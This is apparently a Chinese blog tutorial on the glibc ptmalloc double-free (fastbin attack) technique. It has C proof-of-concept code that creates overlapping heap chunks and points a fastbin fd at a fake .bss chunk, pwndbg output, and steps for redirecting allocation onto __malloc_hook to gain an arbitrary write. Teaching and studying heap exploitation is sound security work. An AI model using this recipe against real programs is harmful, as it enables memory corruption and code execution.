0%

Ptmalloc算法:Double Free

Ptmalloc算法:Double Free

Double Free是 Fastbin Attack 中的一种

本质上就是对一个chunk进行两次free,从而实现 多个指针指向同一个堆块 的操作


Free验证机制

通常来说,同一个chunk是不能被free两次的

例如:

1
2
3
4
5
6
7
8
9
10
int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10);

free(chunk1);
free(chunk1);
return 0;
}
1
2
free(): double free detected in tcache 2
[1] 3376 abort (core dumped) ./test

这是因为有以下代码:

1
2
3
4
5
6
7
/* Another simple check: make sure the top of the bin is not the
record we are going to add (i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}

检查 fastbin 头部指向的 chunk 和被 “free” 的 chunk 是否相等,其后就没有检查了

伪造案例

如果这样构造payload,就会形成异常的fastbin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK;

CHUNK bss_chunk;

int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b,*chunk_c,*chunk_s;

bss_chunk.size=0x21;
chunk1=malloc(0x10);
chunk2=malloc(0x10);

free(chunk1);
free(chunk2);
free(chunk1);

chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
chunk_b=malloc(0x10);
chunk_c=malloc(0x10);
malloc(0x10);
printf("%p\n",chunk_a);
printf("%p\n",chunk_b);
printf("%p\n",chunk_c);
return 0;
}

当所有的free执行完成后:

1
2
3
4
5
pwndbg> bins
fastbins
0x20: 0x55555555b000 —▸ 0x55555555b020 ◂— 0x55555555b000
0x30: 0x0
0x40: 0x0

fastbin出现异常,接下来继续单步,看看程序会怎么分配chunk:

1
2
3
chunk_a = 0x55555555b010
chunk_b = 0x55555555b030
chunk_c = 0x55555555b010

“chunk_a”和“chunk_c”被分配到了同一个地方,这就是Double Free的核心

Double Free 和 UAF 很像,都是程序没有置空指针而产生的漏洞

利用的关键都是看程序的“free模块”,看下哪些指针没有被置空

Double Free利用姿势

利用条件:

  • “free模块”没有置空指针

利用效果:

  • WAA

利用姿势:

一,申请两个chunk,并依次释放chunk1,chunk2:(chunk2 -> chunk1)

二,再次释放chunk1:(chunk1 -> chunk2 -> chunk1)

三,申请chunk:(New chunk1)

四,修改New chunk1,把FD指针的位置改为“ Malloc_hook - 0x10 ”:

五,申请chunk:(New chunk2)

六,申请chunk:(New chunk3 和 New chunk1重合)

七,再次申请chunk,并进行修改(程序把“Malloc_hook”误以为是chunk)

原理总述:

利用Double Free的特性(可以申请到相同的chunk),先在某个chunk的FD指针中写入 “目标地址 - 0x10” ,程序会误以为它是某个chunk,于是会把这片区域当成chunk给申请出来,最后就可以直接修改了

​ // 虽然New chunk1是“allocate chunk”,但是通过Double Free把它存储在了fastbin中,所以它也会被当做是“free chunk”

PS:

因为在 fastbin 中,malloc 会检查 fast chunk 的 size 位是否合适才分配 chunk

这导致了 Double free 的利用需要一些特殊手段(利用现成地址分割“size”)

而在 cachebin 中没有对应的检查(至少2.27没有),所以 Double free 满天飞